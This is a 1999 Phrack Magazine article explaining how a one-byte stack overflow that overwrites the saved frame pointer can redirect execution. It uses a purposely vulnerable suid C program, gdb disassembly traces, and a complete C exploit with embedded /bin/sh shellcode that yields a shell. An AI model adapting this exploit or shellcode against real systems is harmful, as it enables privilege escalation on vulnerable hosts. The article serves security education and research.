```
-------[  Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 08 of 19  ]


-------------------------[  The Frame Pointer Overwrite  ]


--------[  klog <klog@promisc.org>  ]


----[  Introduction

Buffers can be overflowed, and by overwriting critical data stored in the
target process's address space, we can modify its execution flow.  This is
old news.  This article is not much about how to exploit buffer overflows,
nor does it explain the vulnerability itself.  It just demonstrates it is
possible to exploit such a vulnerability even under the worst conditions,
like when the target buffer can only be overflowed by one byte.  Many other
esoteric techniques where the goal is to exploit trusted processes in
the most hostile situations exist, including when privileges are dropped.
We will only cover the one byte overflow here.


----[  The object of our attack

Lets write a pseudo vulnerable suid program, which we will call "suid".  It
is written such that only one byte overflows from its buffer.

        ipdev:~/tests$ cat > suid.c
        #include <stdio.h>

        func(char *sm)
        {
                char buffer[256];
                int i;
                for(i=0;i<=256;i++)
                        buffer[i]=sm[i];
        }

        main(int argc, char *argv[])
        {
                if (argc < 2) {
                        printf("missing args\n");
                        exit(-1);
                }

                func(argv[1]);
        }
        ^D
        ipdev:~/tests$ gcc suid.c -o suid
        ipdev:~/tests$

As you can see, we won't have much space to exploit this program.  In fact, the
overflow is caused only by one byte exceeding the buffer's storage space.  We
will have to use this byte cleverly.  Before exploiting anything, we should
take a look at what this byte really overwrites (you probably already know it,
but hell, who cares). Let's reassemble the stack using gdb, at the moment the
overflow occurs.

        ipdev:~/tests$ gdb ./suid
        ...
        (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048134 <func>:       pushl  %ebp
        0x8048135 <func+1>:     movl   %esp,%ebp
        0x8048137 <func+3>:     subl   $0x104,%esp
        0x804813d <func+9>:     nop
        0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
        0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
        0x8048152 <func+30>:    jle    0x8048158 <func+36>
        0x8048154 <func+32>:    jmp    0x804817c <func+72>
        0x8048156 <func+34>:    leal   (%esi),%esi
        0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
        0x804815e <func+42>:    movl   %edx,%eax
        0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
```

```
0x8048166 <func+50>:    movl   0x8(%ebp),%edx
0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
0x804816f <func+59>:    movb   (%edx),%cl
0x8048171 <func+61>:    movb   %cl,(%eax)
0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
0x8048179 <func+69>:    jmp    0x8048148 <func+20>
0x804817b <func+71>:    nop
0x804817c <func+72>:    movl   %ebp,%esp
0x804817e <func+74>:    popl   %ebp
0x804817f <func+75>:    ret
End of assembler dump.
(gdb)
```

As we all know, the processor will first push %eip into the stack, as the CALL instruction requires. Next, our small program pushes %ebp over it, as seen at *0x8048134. Finally, it activates a local frame by decrementing %esp by 0x104. This means our local variables will be 0x104 bytes big (0x100 for the string, 0x004 for the integer). Please note that the variables are physically padded to the first 4 bytes, so a 255 byte buffer would take up as much space as a 256 byte buffer. We can now tell what our stack looked like before the overflow occurred:

```
saved_eip
saved_ebp
char buffer[255]
char buffer[254]
    ...
char buffer[000]
int i
```

This means that the overflowing byte will overwrite the saved frame pointer, which was pushed into the stack at the beginning of func(). But how can this byte be used to modify the programs execution flow? Let's take a look at what happens with %ebp's image. We already know that it is restored at the end of func(), as we can see at *0x804817e. But what next?

```
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>:       pushl  %ebp
0x8048181 <main+1>:     movl   %esp,%ebp
0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
0x8048187 <main+7>:     jg     0x80481a0 <main+32>
0x8048189 <main+9>:     pushl  $0x8058ad8
0x804818e <main+14>:    call   0x80481b8 <printf>
0x8048193 <main+19>:    addl   $0x4,%esp
0x8048196 <main+22>:    pushl  $0xffffffff
0x8048198 <main+24>:    call   0x804d598 <exit>
0x804819d <main+29>:    addl   $0x4,%esp
0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
0x80481a3 <main+35>:    addl   $0x4,%eax
0x80481a6 <main+38>:    movl   (%eax),%edx
0x80481a8 <main+40>:    pushl  %edx
0x80481a9 <main+41>:    call   0x8048134 <func>
0x80481ae <main+46>:    addl   $0x4,%esp
0x80481b1 <main+49>:    movl   %ebp,%esp
0x80481b3 <main+51>:    popl   %ebp
0x80481b4 <main+52>:    ret
0x80481b5 <main+53>:    nop
0x80481b6 <main+54>:    nop
0x80481b7 <main+55>:    nop
End of assembler dump.
(gdb)
```

Great! After func() has been called, at the end of main(), %ebp will be restored into %esp, as seen at *0x80481b1. This means that we can set %esp to an arbitrary value. But remember, this arbitrary value is not *really* arbitrary, since you can only modify the last %esp's byte. Let's check to see if we're right.

```
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>:       pushl  %ebp
0x8048181 <main+1>:     movl   %esp,%ebp
0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
```

```
0x8048187 <main+7>:     jg     0x80481a0 <main+32>
0x8048189 <main+9>:     pushl  $0x8058ad8
0x804818e <main+14>:    call   0x80481b8 <printf>
0x8048193 <main+19>:    addl   $0x4,%esp
0x8048196 <main+22>:    pushl  $0xffffffff
0x8048198 <main+24>:    call   0x804d598 <exit>
0x804819d <main+29>:    addl   $0x4,%esp
0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
0x80481a3 <main+35>:    addl   $0x4,%eax
0x80481a6 <main+38>:    movl   (%eax),%edx
0x80481a8 <main+40>:    pushl  %edx
0x80481a9 <main+41>:    call   0x8048134 <func>
0x80481ae <main+46>:    addl   $0x4,%esp
0x80481b1 <main+49>:    movl   %ebp,%esp
0x80481b3 <main+51>:    popl   %ebp
0x80481b4 <main+52>:    ret
0x80481b5 <main+53>:    nop
0x80481b6 <main+54>:    nop
0x80481b7 <main+55>:    nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`

Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp            0xbffffd45       0xbffffd45
(gdb)
```

It seems we were. After overflowing the buffer by one 'A' (0x41), %ebp is moved into %esp, which is incremented by 4 since %ebp is poped from the stack just before the RET. This gives us 0xbffffd41 + 0x4 = 0xbffffd45.

----[Getting prepared

What does changing the stack pointer give us? We cannot change the saved %eip value directly like in any conventional buffer overflow exploitation, but we can make the processor think it is elsewhere. When the processor returns from a procedure, it only pops the first word on the stack, guessing it is the original %eip. But if we alter %esp, we can make the processor pop any value from the stack as if it was %eip, and thus changing the execution flow. Lets project to overflow the buffer using the following string:

```
[nops][shellcode][&shellcode][%ebp_altering_byte]
```

In order to do this, we should first determine what value we want to alter %ebp (and thus %esp) with. Let's take a look at what the stack will look like when the buffer overflow will have occurred:

```
saved_eip
saved_ebp (altered by 1 byte)
&shellcode                      \
shellcode                        |  char buffer
nops                            /
int i
```

Here, we want %esp to point to &shellcode, so that the shellcode's address will be poped into %eip when the processor will return from main(). Now that we have the full knowledge of how we want to exploit our vulnerable program, we need to extract information from the process while running in the context it will be while being exploited. This information consists of the address of the overflowed buffer, and the address of the pointer to our shellcode (&shellcode). Let's run the program as if we wanted to overflow it with a 257 bytes string. In order to do this, we must write a fake exploit which will reproduce the context in which we exploit the vulnerable process.

```
(gdb) q
ipdev:~/tests$ cat > fake_exp.c
#include <stdio.h>
#include <unistd.h>

main()
```

```
        {
                int i;
                char buffer[1024];

                bzero(&buffer, 1024);
                for (i=0;i<=256;i++)
                {
                        buffer[i] = 'A';
                }
                execl("./suid", "suid", buffer, NULL);
        }
        ^D
        ipdev:~/tests$ gcc fake_exp.c -o fake_exp
        ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
        ...
        (gdb) run
        Starting program: /home/klog/tests/exp2

        Program received signal SIGTRAP, Trace/breakpoint trap.
        0x8048090 in ___crt_dummy__ ()
        (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048134 <func>:       pushl  %ebp
        0x8048135 <func+1>:     movl   %esp,%ebp
        0x8048137 <func+3>:     subl   $0x104,%esp
        0x804813d <func+9>:     nop
        0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
        0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
        0x8048152 <func+30>:    jle    0x8048158 <func+36>
        0x8048154 <func+32>:    jmp    0x804817c <func+72>
        0x8048156 <func+34>:    leal   (%esi),%esi
        0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
        0x804815e <func+42>:    movl   %edx,%eax
        0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
        0x8048166 <func+50>:    movl   0x8(%ebp),%edx
        0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
        0x804816f <func+59>:    movb   (%edx),%cl
        0x8048171 <func+61>:    movb   %cl,(%eax)
        0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
        0x8048179 <func+69>:    jmp    0x8048148 <func+20>
        0x804817b <func+71>:    nop
        0x804817c <func+72>:    movl   %ebp,%esp
        0x804817e <func+74>:    popl   %ebp
        0x804817f <func+75>:    ret
        End of assembler dump.
        (gdb) break *0x804813d
        Breakpoint 1 at 0x804813d
        (gdb) c
        Continuing.

        Breakpoint 1, 0x804813d in func ()
        (gdb) info register esp
        esp            0xbffffc60       0xbffffc60
        (gdb)
```

Bingo. We now have %esp just after the func's frame have been activated. From this value, we can now guess that our buffer will be located at address 0xbffffc60 + 0x04 (size of 'int i') = 0xbffffc64, and that the pointer to our shellcode will be placed at address 0xbffffc64 + 0x100 (size of 'char buffer[256]') - 0x04 (size of our pointer) = 0xbffffd60.

```
----[  Time to attack
```

Having those values will enable us to write a full version of the exploit, including the shellcode, the shellcode pointer and the overwriting byte. The value we need to overwrite the saved %ebp's last byte will be 0x60 - 0x04 = 0x5c since, as you remember, we pop %ebp juste before returning from main(). These 4 bytes will compensate for %ebp being removed from the stack. As for the pointer to our shellcode, we don't really need to have it point to an exact address. All we need is to make the processor return in the middle of the nops between the beginning of the overflowed buffer (0xbffffc64) and our shellcode (0xbffffc64 - sizeof(shellcode)), like in a usual buffer overflow. Let's use 0xbffffc74.

```
ipdev:~/tests$ cat > exp.c
#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
        "\xd7\xff\xff\xff/bin/sh";

main()
{
        int i, j;
        char buffer[1024];

        bzero(&buffer, 1024);
        for (i=0;i<=(252-sizeof(sc_linux));i++)
        {
                buffer[i] = 0x90;
        }
        for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        {
                buffer[i] = sc_linux[j];
        }
        buffer[i++] = 0x74; /*
        buffer[i++] = 0xfc;  * Address of our buffer
        buffer[i++] = 0xff;  *
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x5c;

        execl("./suid", "suid", buffer, NULL);

}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
```

Great! Let's take a better look at what really happened. Although we built our exploit around the theory I just put in this paper, it would be nice to watch everything get tied together. You can stop reading right now if you understood everything explained previously, and start looking for vulnerabilities.

```
ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
```

Let's first put some breakpoints to watch our careful exploitation of our suid program occur in front of our eyes. We should try to follow the value of our overwritten frame pointer until our shellcode starts getting executed.

```
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>:       pushl  %ebp
0x8048135 <func+1>:     movl   %esp,%ebp
0x8048137 <func+3>:     subl   $0x104,%esp
0x804813d <func+9>:     nop
0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>:    jle    0x8048158 <func+36>
0x8048154 <func+32>:    jmp    0x804817c <func+72>
0x8048156 <func+34>:    leal   (%esi),%esi
0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
0x804815e <func+42>:    movl   %edx,%eax
0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
0x8048166 <func+50>:    movl   0x8(%ebp),%edx
0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
```

```
0x804816f <func+59>:    movb   (%edx),%cl
0x8048171 <func+61>:    movb   %cl,(%eax)
0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
0x8048179 <func+69>:    jmp    0x8048148 <func+20>
0x804817b <func+71>:    nop
0x804817c <func+72>:    movl   %ebp,%esp
0x804817e <func+74>:    popl   %ebp
0x804817f <func+75>:    ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
```

Those first breakpoints will enable us to monitor the content of %ebp before and after being poped from the stack. These values will correspond to the original and overwritten values.

```
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>:       pushl  %ebp
0x8048181 <main+1>:     movl   %esp,%ebp
0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
0x8048187 <main+7>:     jg     0x80481a0 <main+32>
0x8048189 <main+9>:     pushl  $0x8058ad8
0x804818e <main+14>:    call   0x80481b8 <_IO_printf>
0x8048193 <main+19>:    addl   $0x4,%esp
0x8048196 <main+22>:    pushl  $0xffffffff
0x8048198 <main+24>:    call   0x804d598 <exit>
0x804819d <main+29>:    addl   $0x4,%esp
0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
0x80481a3 <main+35>:    addl   $0x4,%eax
0x80481a6 <main+38>:    movl   (%eax),%edx
0x80481a8 <main+40>:    pushl  %edx
0x80481a9 <main+41>:    call   0x8048134 <func>
0x80481ae <main+46>:    addl   $0x4,%esp
0x80481b1 <main+49>:    movl   %ebp,%esp
0x80481b3 <main+51>:    popl   %ebp
0x80481b4 <main+52>:    ret
0x80481b5 <main+53>:    nop
0x80481b6 <main+54>:    nop
0x80481b7 <main+55>:    nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
```

Here we want to monitor the transfer of our overwritten %ebp to %esp and the content of %esp until a return from main() occurs. Let's run the program.

```
(gdb) c
Continuing.

Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp            0xbffffd64       0xbffffd64
(gdb) c
Continuing.

Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp            0xbffffd5c       0xbffffd5c
(gdb) c
Continuing.

Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp            0xbffffd5c       0xbffffd5c
(gdb) c
Continuing.
```

```
        Breakpoint 4, 0x80481b4 in main ()
        (gdb) info reg esp
        esp            0xbffffd60       0xbffffd60
        (gdb)
```

At first, we see the original value of %ebp. After being poped from the stack, we can see it being replaced by the one which has been overwritten by the last byte of our overflowing string, 0x5c. After that, %ebp is moved to %esp, and finally, after %ebp is being poped from the stack again, %esp is incremented by 4 bytes. It gives us the final value of 0xbffffd60. Let's take a look at what stands there.

```
        (gdb) x 0xbffffd60
        0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
        (gdb) x/10 0xbffffc74
        0xbffffc74 <__collate_table+3086618856>:        0x90909090
        0x90909090      0x90909090      0x90909090
        0xbffffc84 <__collate_table+3086618872>:        0x90909090
        0x90909090      0x90909090      0x90909090
        0xbffffc94 <__collate_table+3086618888>:        0x90909090
        0x90909090
        (gdb)
```

We can see that 0xbffffd60 is the actual address of a pointer pointing in the middle of the nops just before of our shellcode. When the processor will return from main(), it will pop this pointer into %eip, and jump at the exact address of 0xbffffc74. This is when our shellcode will be executed.

```
        (gdb) c
        Continuing.

        Program received signal SIGTRAP, Trace/breakpoint trap.
        0x40000990 in ?? ()
        (gdb) c
        Continuing.
        bash$
```

----[Conclusions

Although the technique seems nice, some problems remain unresolved. Altering a program's execution flow with only one byte of overwriting data is, for sure, possible, but under what conditions? As a matter of fact, reproducing the exploitation context can be a hard task in a hostile environment, or worst, on a remote host. It would require us to guess the exact stack size of our target process. To this problem we add the necessity of our overflowed buffer to be right next to the saved frame pointer, which means it must be the first variable to be declared in its function. Needless to say, padding must also be taken in consideration. And what about attacking big endian architectures? We cannot afford to be only able to overwrite the most significant byte of the frame pointer, unless we have the ability to reach this altered address...

Conclusions could be drawn from this nearly impossible to exploit situation. Although I would be surprised to hear of anyone having applied this technique to a real world vulnerability, it for sure proves us that there is no such thing as a big or small overflow, nor is there such thing as a big or small vulnerability. Any flaw is exploitable, all you need is to find out how.

Thanks to: binf, rfp, halflife, route

----[EOF